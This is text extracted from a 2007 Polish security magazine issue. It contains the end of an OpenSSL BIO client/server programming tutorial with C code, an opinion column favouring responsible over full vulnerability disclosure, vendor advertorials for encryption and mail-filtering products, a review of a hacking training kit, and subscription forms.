sigchild_handler

);

listen_bio

=

BIO_new_accept

(

portbuff

);

BIO_set_bind_mode

(

listen_bio

,

BIO_BIND_REUSEADDR

);

if

(

BIO_do_accept

(

listen_bio

)

<=

0

)

{

fprintf

(

stderr

,

"Błąd w

przygotowaniu do obsługi klientów.

\n

"

);

ERR_print_errors_fp

(

stderr

);

exit

(

0

);

}

while

(

1

)

{

BIO

*

client_bio

=

BIO_new_ssl

(

ctx

,

0

);

BIO

*

buffered_bio

;

BIO_get_ssl

(

client_bio

,

&

ssl

);

if

(!

ssl

)

{

fprintf

(

stderr

,

"Błąd ssl.

\n

"

);

ERR_print_errors_fp

(

stderr

);

BIO_free_all

(

listen_bio

);

SSL_CTX_free

(

ctx

);

exit

(

1

);

}

SSL_set_verify

(

ssl

,

SSL_VERIFY_

PEER

|

SSL_VERIFY_CLIENT_

ONCE

,

NULL

);

SSL_set_mode

(

ssl

,

SSL_

MODE_AUTO_RETRY

);

BIO_set_accept_bios

(

listen_bio

,

client_bio

);

if

(

BIO_do_accept

(

listen_bio

)

<=

0

)

{

fprintf

(

stderr

,

"Błąd w

przyjmowaniu połączenia.

\n

"

);

ERR_print_errors_fp

(

stderr

);

continue

;

}

client_bio

=

BIO_pop

(

listen_bio

);

rv

=

fork

();

if

(

rv

>

0

)

{

fprintf

(

stderr

,

"Mam mowego

klienta, pid=%d

\n

"

,

rv

);

continue

;

}

if

(

rv

==

-

1

)

{

fprintf

(

stderr

,

"Błąd w tworzeniu

nowego procesu: %s.

\n

"

,

strerror

(

errno

));

BIO_free

(

client_bio

);

continue

;

}

if

(

BIO_do_handshake

(

client_bio

)

<=

0

)

{

fprintf

(

stderr

,

"Błąd podczas

SSL handshake.

\n

"

);

ERR_print_errors_fp

(

stderr

);

BIO_free_all

(

client_bio

);

return

1

;

}

buffered_bio

=

BIO_new

(

BIO_f_

buffer

());

client_bio

=

BIO_push

(

buffered_

bio

,

client_bio

);

BIO_puts

(

client_bio

,

RESPONSE

);

while

(

1

)

{

len

=

BIO_gets

(

client_bio

,

buf

,

1024

);

if

(

len

<=

0

)

{

fprintf

(

stderr

,

"Błąd w

czytaniu z gniazda.

\n

"

);

ERR_print_errors_fp

(

stderr

);

break

;

}

BIO_write

(

client_bio

,

buf

,

len

);

if

((

buf

[

0

]

==

'

\r

'

)

||

(

buf

[

0

]

==

'

\n

'

))

break

;

}

BIO_puts

(

client_bio

,

"milo,

ze wpadles.

\r\n

"

);

rv

=

BIO_flush

(

client_bio

);

BIO_free_all

(

client_bio

);

exit

(

0

);

}

if

(

portbuff

)

free

(

portbuff

);

return

0

;

}

background image

oraz wyświetlenie informacji na je-
go temat przy pomocy mało ambit-
nej funkcji przedstawionej na Listin-
gu 5.

Teraz, po upewnieniu się, że

połączenie SSL/TLS jest już finalnie
zestawione (

BIO _ do _ handshake()

),

możemy rozpocząć wymianę da-
nych – mamy do dyspozycji takie
funkcje jak

BIO _ read()

,

BIO _ write()

,

BIO _ gets()

oraz

BIO _ puts()

. Wy-

syłamy zatem zapytanie HTTP
zdefiniowane w

REQUEST

, po czym

odbieramy dane i wyświetlamy je
na standardowe wyjście. Na końcu
wypada posprzątać łańcuch BIO
za pomocą funkcji

BIO _ free _ all()

oraz szczęśliwie zakończyć pro-
gram. Kompilacja oraz przykładowe
uruchomienie programu przedsta-
wia Rysunek 1.

Zaserwujmy coś

Analogicznie do przypadku klienta,
napiszemy funkcje

server _ ssl _

initialize _ ctx()

inicjalizującą kon-

tekst SSL – znajduje się ona na Li-
stingu 6. O ile serwer nie oczeki-
wał od klienta certyfikatu, o tyle
klient serwerowi już pod tym wzglę-
dem nie popuści. Za pomocą funk-
cji

SSL _ CTX _ use _ certificate _ file()

i

SSL _ CTX _ use _ PrivateKey _ file()

serwer załaduje wcześniej stworzo-
ny certyfikat oraz pasujący do nie-
go klucz prywatny. O faktyczne przy-
pasowanie klucza prywatnego do
certyfikatu zatroszczy się funkcja

SSL _ CTX _ check _ private _ key()

.

W odróżnieniu od klienta ser-

wer ustawia parametry dla algoryt-
mu Diffiego-Hellmana za pomocą
kombinacji funkcji

BIO _ new _ file()

,

PEM _ read _ bio _ DHparams()

oraz

SSL _ CTX _ set _ tmp _ dh()

. Nasz ser-

wer dla każdego nowego klienta bę-
dzie tworzył nowy proces potomny
funkcją

fork()

. Stąd w celu uniknię-

cia procesów zombie, przechwytuje-
my sygnał SIGCHLD, który wysyła-
ny jest po zakończeniu procesu po-
tomnego:

signal(SIGCHLD, sigchild_handler);

Jego obsługą zaś zajmie się funkcja

sigchild _ handler

przedstawiona na

Listingu 7, która wyświetli informację,
czy proces umarł ze starości, czy też
nastąpiło to przedwcześnie wsku-
tek nieszczęśliwego wypadku (na
przykład poprzez wysłanie do niego
określonego sygnału).

Przyszedł w końcu moment na

zastosowanie BIO po stronie serwe-
ra. Funkcja

BIO _ new _ accept()

z po-

danym jako argument numeru port (w
postaci tekstu) stworzy nowy łańcuch
BIO, za którym schowa się obsługa
sieci – znów nie trzeba wypełniać żad-
nych struktur adresowych czy tworzyć
gniazd. Do rozpoczęcia nasłuchu słu-
ży funkcja

BIO _ do _ accpet()

. Pierw-

sze jej wywołanie przygotuje BIO do
nasłuchu, następne będzie już oczeki-
wało na nowe połączenia. Każde no-
wo zaakceptowane połączenie trafi do
BIO łańcucha o nazwie

listen _ bio

.

Konstrukcja

client_bio = BIO_pop(listen_bio);

zdejmie klienta z łańcucha

listen _

bio

, dzięki czemu serwer będzie

mógł przyjmować nowe połączenia,
a do obsługi stworzy proces potom-
ny. Po pomyślnym zestawieniu po-
łączenia (

BIO _ do _ handshake()

) pro-

ces potomny stworzy i doda do łań-
cucha BIO

client _ bio

BIO filtrują-

ce

BIO _ f _ buffer()

, które zapewni

buforowane wejście i wyjście w ko-
munikacji z klientem. Następnie ser-
wer wysyła na ślepo klientowi przy-
kładową odpowiedź HTTP, po czym
odczytuje dane od klienta (zapytanie
HTTP), odsyła mu je i na końcu do-
daje coś od siebie. Na Rysunku 2 wi-
dać kompilację i działanie serwera,
który dobrze obsługuje zarówno na-
szego własnoręcznie zbudowanego
klienta, jak i popularną przeglądarkę
WWW. Listing 8 natomiast zawiera
źródła z sercem naszego demona.

Podsumowanie

Programowanie z biblioteką Openssl
nie jest wcale tak trudne, jak by się to
mogło wydawać. Wprawdzie przed-
stawione w artykule przykłady są
bardzo proste, widzimy w jaki łatwy
sposób – zwłaszcza dzięki abstrak-
cyjnym BIO – w łatwy sposób można
zestawić szyfrowane połączenie. l

background image

hakin9 Nr 4/2007

www.hakin9.org

74

Felieton

J

ak w każdym zjawisku zachodzącym na masową
skalę, tak i w bezpieczeństwie technologii infor-
matycznych, z socjologicznego punktu widze-

nia można wyróżnić pojawiające się, lub zanikające
trendy, które w określonym czasie cieszą się więk-
szym, bądź mniejszym zainteresowaniem. Te bardziej
znaczące i rewolucyjne potrafią zmienić dotychczaso-
we paradygmaty (w tym znaczeniu – wzorcowe przy-
kłady tworzone na podstawie historii rozwoju zabez-
pieczeń) w sektorze security.

Anomalią towarzyszącą w tworzeniu pewnych kano-

nów postępowania w sferze bezpieczeństwa syste-
mów, czy ogólnie oprogramowania, jest fakt, że zazwy-
czaj powstające trendy nigdy nie rozwijają się dokład-
nie w tym kierunku, który na początku przewidywali
jego twórcy. Gruntownym tutaj przykładem z poziomu
antropologii pokazującym esencję powyższych stwier-
dzeń jest tzw. trend sekularny (zachodzący pod wpły-
wem rozwoju cywilizacji) hackingu, który jest nieodłącz-
ną częścią bezpieczeństwa IT, a nawet jego fundamen-
tem. Ukazuje on z perspektywy historycznej główną
wadę poglądu full disclosure (pełne ujawnienie błędów),
którego głównym założeniem jest podanie do opinii
publicznej wszystkich informacji dotyczących odkry-
tych błędów w zabezpieczeniach informatycznych, włą-
czając w to wszelkie dane techniczne oraz narzędzia
(exploity), które wykorzystują te błędy i pozwalają na ich
dokładną analizę.

Termin hacking w pierwotnym znaczeniu wcześnie

tworzonego żargonu informatycznego był między-
narodowym określeniem czynności, które pokonują
wszelkie zabezpieczenia w postaci kodów i haseł
zastrzeżonych dla osób wtajemniczonych, pozwalając
tym samym włamać się do sieci komputerowych. Był
to pierwszy trend wśród użytkowników wykorzystują-
cych ogólnodostępne źródła informacji w Internecie.
W tamtych czasach odpowiedniki dzisiejszych forów
– BBSy (biuletyny komputerowe) roiły się od praktycz-
nych porad i wskazówek dosłownie ukazujących krok
po kroku słabości ówczesnych systemów. W dodatku
na rynku wydawniczym królowała pozycja Hacke-

r's Handbook Hugo Cornwalla stanowiąca główny
poradnik początkujących włamywaczy. Wszystko to

Niezdrowe trendy

w bezpieczeństwie

– full disclosure

spowodowało obranie złej drogi przez panującą modę
i metodę prezentacji informacji, wymykając się spod
kontroli jej autorów – jakakolwiek osoba nie mająca
większego pojęcia o technice komputerowej i uboga
umysłowo była w stanie opanować parę chwytów,
zdobyć adresy, kody, hasła i dostać się do baz danych
i systemów państwowych. Wówczas zorganizowano
wiele konferencji, aby ukształtować finalną etykę
hackerów oraz stworzyć prawdziwe podziemie w Sieci
dostępne tylko wąskiej grupy specjalistów. Głównym
czynnikiem, który wpłynął na tą rewolucję było prawo,
które w przeszłości bardzo powolnie podążało za
problemami pojawiającymi się w wraz z rozpowszech-
nianiem się technik przestępstw komputerowych. To
wraz z jego reinterpretacją oraz stworzeniem nowych
przepisów nastąpiła akceleracja rozwoju świadomości

Patryk Krawaczyński

O autorze

Autor aktualnie jest studentem II roku Informacji Naukowej na
Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych chwi-
lach stara się prowadzić serwis poświęcony podstawowym
aspektom bezpieczeństwa systemu Linux (www.narf.shl.pl)
poddając analizie i opisowi sprawdzone mechanizmy jego
zabezpieczeń.
Kontakt z autorem: agresor@narf.shl.pl

background image

75

hakin9 Nr 4/2007

www.hakin9.org

Felieton

samozachowawczej osób dyktujących warunki bez-
pieczeństwa Internetu. Można było wtedy wyraźnie
zaobserwować odłączenie się grup guru od przecięt-
nych skrypciaków (ang. script kiddie), co zakończyło
erę bezlitosnych nadużyć informacji przeznaczonych
dla osób z branży. I oto bez podłoża genetycznego
nastąpiła zmiana przystosowawcza do panujących
warunków wśród hackerów, którzy stali się warto-
ściowymi osobami posługującymi się szeroką gamą
języków programowania, potrafiących porozumiewać
się z wieloma odmianami systemów obsługujących
sieci i posiadających dość inwencji, by udoskonalać
nowe, i już istniejące mechanizmy zabezpieczeń, a co
najważniejsze - o wykrytych lukach powiadamiali naj-
pierw producentów oprogramowania.

Historia, która lubi się powtarzać, ukazuje, że

wraz z ciągłym rozwojem technologii internetowych
zwiększa się prawdopodobieństwo naruszenia bezpie-
czeństwa już istniejących zabezpieczeń. Każda nowa
technika ataku, narzędzie, czy technologia sprzętowa
daje nowe możliwości w starych warunkach, a jeszcze
większa rola wiarygodnych źródeł informacji pogłębia
to zjawisko. Ostatnio szczególnie jest to widoczne
w bezpieczeństwie serwerów rządowych, które są
masowo testowane przez niezależne serwisy zajmu-
jące się tematyką bezpieczeństwa. W wielu przypad-
kach niski poziom bezpieczeństwa wynika z ignorancji.
Wśród administratorów tych systemów panuje przeko-
nanie, wynikające z braku wiedzy i pewności, że do ich
systemu nie można się włamać. Zatrudniani są prze-
ciętni fachowcy, którzy nie są zbytnio zainteresowani
obsługiwanym przez nich systemem. Znudzeni nie
reagują na zgłoszenia osób z zewnątrz, a swoją pracę
wykonują jedynie dla pieniędzy. O ile początkowa
wina leży po stronie celów audytów informatycznych,
tak wiele razy serwisy powiadamiające o tych zanie-
dbaniach, zbyt szybko ujawniają krytyczne informa-
cje powodując automatycznie dodatkowe ataki na te
serwery. Błędem jest tutaj zmiana kolejności etapów
wtajemniczenia osób postronnych. W celu uzyskania
wyraźnego rozgłosu podaje się najpierw do informacji
publicznej zaistniałe fakty, a dopiero potem powiada-
mia się o nich samych zainteresowanych czekając
na ich oświadczenia. Pozostawia to lukę czasową
pozwalającą na działanie osób o nie w pełni sprecyzo-
wanych zamiarach, które dodatkowo wyposażone są
w techniczne szczegóły ujawniane często także, przez
samych testerów mających na względzie błędnie rozu-
mowane dobro publiczne.

Analogiczna sytuacja ma miejsce w przypadku

wypuszczania przez programistów exploitów typu 0-

day (zerowego dnia) oraz proof of concept (dowodów
na poprawność). Kod takich exploitów publikowany
jest w bardzo, krótkim czasie po oficjalnym, lub nie-
oficjalnym ogłoszeniu istnienia określonej podatności

w systemie, czy programie, lecz zanim producent /
autor oprogramowania wypuści poprawkę naprawiają-
cą ów błąd. Dopóki tego nie zrobi, wszyscy użytkow-
nicy korzystający z danej marki pozostają w realnym
zagrożeniu. Kontrastem dla tej sytuacji może być
fakt wypuszczenia przez niezależnego programistę
poprawki. Problemem w tym przypadku jest także
złe wykorzystanie informacji. Bardzo wiele razy
podaje się od razu dane dotyczące możliwości szyb-
kiej aktualizacji, bez jakiegokolwiek przewidywania
możliwości technicznych. W ten sposób na serwerze
udostępniającym stronę programisty wykonywany jest
nieświadomy atak DDoS (ang. Distributed Denial of

Service) przez rzucających się jednocześnie na łatę
użytkowników. W dodatku istnieje także obawa, że
nieoficjalna poprawka może wprowadzać niepożądane
zmiany w systemie.

Wymienione powyżej przypadki noszą znamiona

metody pełnego ujawniania, która umożliwia poznanie
pełnej specyfikacji wykrywanych luk. Odkrywa ona
szczegóły dotyczące konfiguracji oraz jakości stoso-
wanego oprogramowania, ale przy tym trafia do zbyt
szerokiego grona użytkowników, którzy nie zawsze
pozyskane informacje wykorzystują w odpowiedni
sposób. Mimo to, że zmusza ona dostawców oprogra-
mowania do tego, by tworzyli kod o najwyższej jakości,
w celu uniknięcia publicznej kompromitacji – często
wykorzystywana jest do praktyk brudnego marketingu,
aby pomóc zainteresowanym osobom w doborze kon-
kurencyjnego produktu - nie zawsze bardziej bezpiecz-
nego. Zwykli użytkownicy, nie będący programistami
mogącymi samemu dokonać poprawek, pozostają ska-
zani na wysoki stopień niebezpieczeństwa oraz nie-
przemyślane ryzyko. Wszystko to po to, aby konkretne
osoby lub zgrupowania zyskały jednoznaczny rozgłos.
Metoda full disclosure powinna być stosowana głównie
w przypadku powiadamiania dostawców oprogramo-
wania, aby w jasny i klarowny sposób przedstawić im
sedno problemu, a nawet zasugerować sposób napra-
wy. W ten sposób cała wartość informacji kierowana
jest do odpowiedniego odbiorcy. Na szczęście w ujęciu
publicznym trend ten cieszy się coraz mniejszym
zainteresowaniem na przestrzeni rozwoju procedur
ujawniania luk w zabezpieczeniach, w którym katali-
zatorem jest ciągły postęp technologiczny i rosnąca
świadomość wartości wielu informacji. Coraz częściej
stosowanym wariantem tego procesu staje się respon-

sible disclosure (odpowiedzialne ujawnianie), które
dzięki wcześniejszemu powiadomieniu producentów
pozwala im na wydanie poprawki i publiczne ogłosze-
nie jej dostępności; odczekaniu odpowiedniego okresu
czasu, aż wszyscy odpowiedzialni użytkownicy wyko-
nają aktualizację, a dopiero później publikacji informa-
cji o błędzie. No i ze względu na dzisiejszy hacking
wydaje się to bardziej etyczne. l

background image

Enigma Lite Desktop Edition

GlobalTrust

Dokumenty firmowe i prywatne dane osobowe to
istotne informacje, które musimy bezwzględnie
chronić przed kradzieżą, złym wykorzystaniem i
dostępem nieautoryzowanych użytkowników tak
spoza firmy, jak pracowników. Warto nadmienić, że w
obecnych czasach większość danych personalnych
i firmowych jest przechowywana w formie plików i
elektronicznych dokumentów, przesyłanych przez
wiadomości e-mail w różnych sieciach.

Pakiet Enigma Lite Desktop Edition oferuje

modularną, wielkoskalową solucję na problemy pr-
zechowywania i przesyłania dokumentów. Spotyka
się z aprobatą nie tylko zwykłych użytkowników,
chroniąc ich stacjonarny, czy przenośny komputer,
ale także wielkich organizacji działających w otwar-
tych i zamkniętych sieciach. Enigma implementuje
najsilniejsze polityki zabezpieczeń w celu ochrony
prywatności plików, e-maili, baz danych oraz ich
sposobu migracji.

DLACZEGO ENIGMA?
(ZMIANY W PRAWIE)

• We Włoszech nowe prawa i zasady zostały

wprowadzone z ustawą D.Lgs 196/2003, znaną
także jako “The Privacy Code” (Prywatność
Danych). Zgodnie z postanowieniami, należy
chronić prywatne dane przed ryzykiem zniszc-
zenia, zagubienia oraz nieautoryzowanego
dostępu. Dlatego właśnie wielkie korporacje i
profesjonaliści muszą zaimplementować mi-
nimalne sposoby zabezpieczeń procesowania
danych utajnionych.

• Według ustawy, tajne dane elektroniczne (np.

sądowe, czy informacje o zdrowiu pracowników)
muszą być zakodowane przy użyciu najlep-
szych technik obecnie dostępnych na rynku.

• Ustawa przewiduje kary za niezastosowanie

się do jej postanowień, a tym samym łamanie
prawa.

DLACZEGO ENIGMA?
(RYNEK WŁOSKI)

We Włoszech istnieje silne zapotrzebowanie na
łatwe w implementacji i użyciu oprogramowanie

służące do zabezpieczania dokumentów elektro-
nicznych na komputerach stacjonarnych i prywa-
tnych (przede wszystkim przenośnych). Zapotrze-
bowanie takie istnieje w wielu sektorach:

• wojskowym (np. enkrypcja utajnionych doku-

mentów)

• finansowym (np. przekazywanie pewnych

wiadomości elektronicznych)

• u dostawców usług internetowych (ang. ISP)

(np. zabezpieczanie transakcji w sieci web
oraz archiwizacja)

• w integratorach systemowych (np. jako narzędzie

do bezpiecznej migracji dokumentów)

• na uniwersytetach i innych placówkach eduka-

cyjnych

• w firmach
• u kupców detalicznych (SW/HW)
• i innych.

Jednak konkurencyjne oferty nie są adekwatne do po-
trzeb, używają systemów (BestCrypt, Signo, czy PGP)
mało znanych i niezbyt rozpowszechnionych.

FUNKCJONALNOŚĆ
SYSTEMU ENIGMA

Silniejsze Zabezpieczenie Prywatności Enigma Lite
Desktop Edition jest najlepszym rozwiązaniem do
manipulacji danymi personalnymi, które spełnia
wymogi praw i ustaw (D.Lgs. n. 196/2003). Enigma
Lite Desktop Edition pozwala scentralizować wszys-
tkie operacje, które wymagane są przy dostępie
do prywatnych danych personalnych lub korpora-
cyjnych: podpisy elektroniczne, kryptografie, bez-

pieczne przechowywanie, oznaczanie znacznikami
czasowymi, bezpieczna destrukcja, autentykacja
oraz weryfikacja elektronicznych certyfikatów.

Jest środowiskiem zintegrowanym z syste-

mami Windows i pakietem Microsoft Office

Enigma Lite Desktop Edition jest rozwiązaniem

zaprojektowanym pod kątem systemów operacyj-
nych firmy Microsoft: komponenty Ochrony Doku-
mentów są w pełni zintegrowane z maszynami
klienckimi działającymi na systemach Windows,
zaś komponenty serwerowe są instalowane na
systemach typu MS Windows Server.

Enigma Lite Desktop Edition używa najbardziej

zaawansowanych mechanizmów kryptograficznych,
jest kompatybilna ze standardami X.509 i SSL v.3.0. Po-
zwala na manipulację elektronicznymi certyfikatami i
tożsamościami. Dodatkowo, Enigma jest kompatybilna
ze standardami Common Access Card (CAC) i PKC#11
(Standard Interfejsów Tokenów Kryptograficznych),
pozwalając na używanie SmartCards i Tokenów USB.

• Kupno:

https://

www.globaltrust.it/software_
buy/enigmalitedesktopedition_
12.aspx

• Witryna producenta:

http:

//www.globaltrust.it

Kontakt:

O GlobalTrust

GlobalTrust jest firmą zajmującą się certyfikowaniem
i rejestrowaniem, rozpoznawaną na całym świecie,
która oferuje wdrażanie wszystkich typów certyfika-
tów i zabezpieczeń technologii cyfrowych przy użyciu
najbardziej zaawansowanych technik zabezpieczeń,
autentykacji i weryfikacji. GlobalTrust to niezależny
znawca w zakresie typów ataków przeprowadzanych
w Sieci. Dzięki swoim technologiom, GlobalTrust pozwala
organizacjom wszelkich rozmiarów na zabezpiecza-
nie transakcji elektronicznych, zawsze utrzymując
korzystną proporcję ceny do jakości.

background image

MESSAGE PROCESSING PLATFORM
(MPP) - SYSTEM OCHRONY POCZTY

MPP amerykańskiej firmy Message Partners
pozwala zaoszczędzić cenny czas każdego
administratora – łącząc prostotę z zaawansowa-
nymi możliwościami szczegółowej konfiguracji.
Dzięki systemowi poczta jest chroniona przed
spamem i wirusami, możemy filtrować jej treść,
a także archiwizować wiadomości przychodzące
i wychodzące – ale to tylko podstawowe funkcje.
Prawdziwego „smaczku” dodają systemowi jego
pozostałe możliwości.

MODUŁOWA BUDOWA

MPP posiada modułową budowę, dzięki czemu
łatwo może zostać dopasowany do potrzeb, a
także umożliwia łatwą rekonfigurację całego
systemu pocztowego. Podstawę stanowi moduł
zarządzający MPP, działający poprzez https, w
którym administrator definiuje całość polityk
bezpieczeństwa dla poczty w firmie. Do modułu
zarządzającego dołączane są dodatkowe ska-
nery – antywirusowe i antyspamowe. W wersji
podstawowej MPP korzysta ze SpamAssassina
i Clam-AV, natomiast dla wzmocnienia ochrony,
administrator może dokupić komercyjne skane-
ry zintegrowane z MPP (antywirusowe: NOD32,
Kaspersky, Sophos, antyspamowe: Cloudmark i
Mailshell).

MPP wykorzystuje wszystkie skanery poczty

jako engine’y skanujące. Zadaniem np. skanera
ClamAV współpracującego z MPP jest przyjęcie
e-maila od MPP, przeskanowanie go i odesłanie
informacji o rezultacie oraz ewentualnie e-maila
z naprawionym lub usuniętym załącznikiem.
Właśnie dzięki takiemu rozwiązaniu, administrator
nie musi się zaprzątać sobie głowy ustawieniami
poszczególnych skanerów.

JAK SZYBKO ZMIENIĆ
ANTYWIRUSA W CAŁEJ FIRMIE?

W zależności od zdefiniowanych polityk, różne
grupy użytkowników mogą korzystać z różnych
skanerów lub też z kilku skanerów jednocześnie
(typowa sytuacja np. dla providera posiadającego
konta darmowe i komercyjne). Jeśli stwierdzimy,
że jakaś grupa ma korzystać z innego skanera niż
dotychczas używany, możemy go podmienić, nie
naruszając pozostałych ustawień. Cała operacja
trwa kilka sekund - po prostu z listy skanerów
wybierzemy nowy, klikamy – i to wszystko. Nowy
skaner skanuje pocztę, a cała konfiguracja polityk
pozostaje niezmieniona.

Równie prosta jest hipotetyczna zmiana

obsługującego naszą pocztę serwera. Pomijając
fakt, że sama zamiana z serwera np.: Sendmail na
Postfixa byłaby dość czasochłonna, jeśli wcześniej
filtrowaliśmy pocztę za pośrednictwem MPP, nie
musimy się przejmować konfiguracją skanerów
poczty. Wystarczy bowiem w MPP zamienić jedną
linię w pliku konfiguracyjnym lub wybrać nowy
serwer pocztowy w panelu https, aby wszystkie
skanery z tymi samymi ustawieniami zaczęły
współpracować z nowym serwerem pocztowym.

Cały system może być zarządzany z konsoli w

trybie graficznym. Dzięki temu nic nie konfiguru-
jemy z linii poleceń. Po prostu wybieramy to, co nas
interesuje, klikając na odpowiednie opcje. W ten
sposób tworzymy szerokie polityki bezpieczeństwa
dla różnych działów w firmie, wszystko według in-
dywidualnych potrzeb.

JAK ZMINIMALIZOWAĆ
ILOŚĆ PYTAŃ UŻYTKOWNIKÓW?

Opcjonalnie dostępne są moduły do zarządzania
kwarantanną i archiwum. Sprawdzanie kwarantanny
każdego pracownika, odpowiadanie na pytania typu
– „czy coś nie zostało zatrzymane, bo czekam na
ważny e-mail?” – mogą wyprowadzać z równowagi i
zajmować dużo czasu. Dzięki modułom przeglądania
kwarantanny z poziomu przeglądarki, każdy pra-
cownik sam może teraz sprawdzać e-maile logując
się na odpowiedniej stronie WWW. Moduły są na tyle
przejrzyste i czytelne, iż nawet słabo zorientowany
pracownik da sobie z nimi radę. Każdy użytkownik
w swoim katalogu kwarantanny i archiwum może
przejrzeć listę e-maili, wyszukiwać przesyłki w opar-

ciu o różne kryteria, przesyłać, uwalniać z kwaran-
tanny, usuwać e-maile, a także tworzyć własną białą
i czarną listę adresów. Jeśli administrator chce, aby
użytkownicy mieli zawsze „przy sobie” cały swój
spam, możemy tak skonfigurować MPP, aby wszyst-
kie e-maile spamowe były wrzucane do specjalnego
spamowego katalogu (IMAP) dostępnego do subs-
krypcji dla każdego użytkownika MPP. Wszystko to
bez zaprzątania uwagi administratora.

OSZCZĘDNOŚĆ ZASOBÓW SERWERA

Przy współpracy z serwerem Postfix dodatkową
zaletą jest wbudowany w MPP Postfix Policy Server,
pozwalający odrzucić niepożądane e-maile zanim
trafią one na serwer pocztowy. Dzięki tej funkcji,
można większość spamu odrzucać już na poziomie
sesji SMTP. To MPP podejmuje decyzję, czy odrzucić
wiadomość, zanim trafi ona na serwer, czy pozwolić
na jej przekazanie i przeskanowanie przez system.

Warto wspomnieć także o funkcji body

stripping. Pozwala nam ona na odłączenie od
wiadomości jej załącznika, zapisania go na se-
rwerze ftp lub http, a następnie dołączenie do
maila linka do miejsca, w którym został zapisany
załącznik. Dzięki temu mamy lepszą kontrolę nad
przepływem dokumentów oraz zmniejszamy
rozmiary skrzynek pocztowych. Załączniki
możemy filtrować w oparciu o rozmiar, nazwę lub
na przykład typ załącznika. Wyobraźmy sobie
dość częstą sytuację archiwizacji poczty. Chcemy
archiwizować tylko małe maile, bez załączników.
Dzięki odcinaniu załączników, można zrobić
wszystko - także pozwolić na przesyłanie dużych
wiadomości.

MPP to system w sposób kompleksowy

zabezpieczający serwer poczty przy minimalnym
nakładzie pracy. Pośrednie podpięcie do serwera
pocztowego można oczywiście zrobić za pomocą
AmavisD. Skonfigurować wszystko można w
każdym skanerze osobno. Przepływem poczty
można sterować zawsze z poziomu serwera.
„Statystyczne” podejście do skanowania antyspa-
mowego to np.: Vipul’s Razor czy D-Spam. Ale po
co? Czy naprawdę jesteśmy w stanie poświęcić tak
wiele czasu na konfigurowanie wszystkich tych
programów z osobna? Wdrażając MPP, możemy
skupić się na znacznie przyjemniejszych zada-
niach...

DAGMA sp. z o.o.,
wyłączny dystrybutor MPP
w Polsce,

mpp@dagma.pl,

tel. (32) 259 11 00.

Kontakt:

KLUB TECHNICZNY

JAK MNIEJ CZASU POŚWIĘCAĆ NA
ADMINISTROWANIE POCZTĄ?

background image

hakin9 Nr 4/2007

www.hakin9.org

78

Szkoła Hakerów

Wydawnictwo : csh

ISBN : 83-9237-450-9

Liczba stron : 426

Oprawa : Miękka

Księgozbiór

Zestaw szkoleniowy

Zestaw szkoleniowy możemy nabyć na kilka sposobów,
za pomocą strony internetowej producenta, za pomocą
aukcji internetowej, oraz można ją nabyć jako prezent
wraz z prenumeratą pisma Haking. Zamawiając zestaw
szkoleniowy otrzymamy :

• Podręcznik
• Szkoleniowy system operacyjny
• Zestaw filmów instruktażowych
• Dostęp do zamkniętej części forum dyskusyjnego
• Możliwość wzięcia udziału w egzaminie potwierdzają-

cym kwalifikacje oraz umożliwia otrzymanie certyfikatu

Wszystko to otrzymamy w estetycznym kartonowym opa-
kowaniu.

Podręcznik

Podręcznik został podzielony na rozdziały tematycz-
ne, dzięki temu materiał jest uporządkowany i nie trzeba
“skakać” po rozdziałach. Książka krok po kroku wprowadza
w tajniki wiedzy z zakresu hackingu - zarówno tej podsta-
wowej, jak i zaawansowanej. Obszerny materiał w postaci
426 stronicowej książki, który zawierają: przykłady, przy-
padki oraz informacje o tym, jak działają hakerzy, a także
ćwiczenia, dzięki którym nabierzesz praktycznych umiejęt-
ności. Każdy z rozdziałów stanowi niezależne opracowa-
nie wybranego zagadnienia. Tylko od Ciebie zależy, z którą
partią materiału chcesz się w danej chwili zapoznać.

Płyty CD/DVD

Na płycie CD znajdziemy szkoleniowy system opera-
cyjny, dzięki któremu mamy możliwość przećwiczenia
każdej z lekcji bez konieczności instalowania oprogramo-
wania na dysku twardym swojego komputera. Urucho-
mienie systemu z płyty CD zajmuje około dwóch, trzech
minut. Wcześniej należy ustawić w BIOS'ie, aby system
uruchamiał się z płyty CD.

Na płycie zachowano porządek, wszystko posegrego-

wano według rozdziałów, oraz kolejności ćwiczeń. Narzę-
dzia oraz kody źródłowe skryptów i programów opisanych
w podręczniku otrzymujemy z systemem szkoleniowym i
nie ma potrzeby doinstalowywania czegokolwiek.

Natomiast na płycie DVD dołączonej do pakietu szko-

leniowego znajdziemy ponad 4 godziny materiałów filmo-
wych przedstawiających w praktyce działanie poszcze-

gólnych technik, wszystko jest przedstawione krok po
kroku i na bieżąco komentowane przez lektora.

Certyfikatu Ukończenia Szkolenia

Każda osoba, która nabyła kurs Szkoły Hakerów ma
prawo do przystąpienia do egzaminu, który sprawdzi
poziom wiedzy i umiejętności. Jeśli dana osoba spełni
wymogi kwalifikacyjne i ukończy pomyślnie egzamin,
otrzyma certyfikat ukończenia szkolenia z zakresu bez-
pieczeństwa systemów komputerowych

Podsumowanie

Jak narazie jest to najlepsza publikacja na polskim rynku,
która krok po kroku wprowadza nas w tajniki hackingu.
Oprócz czysto teoretycznych informacji w postaci tekstu,
możemy zobaczyć na ekranie praktyczne zastosowanie.
Co najważniejsze dzięki szkoleniowemu systemowi ope-
racyjnemu możemy sami w praktyce przetestować dzia-
łanie omawianych technik. Polecam zakup tego pakie-
tu osobom, które nie miały nigdy wcześniej styczności z
zagadnieniami z dziedziny hakingu, jak i tym którzy już
zajmują się tym od dłuższego czasu.

Wojciech Trynkowski

Rysunek 1.

Zestaw szkoleniowy

Rysunek 2.

Certyfikat ukończenia kursu

background image
background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

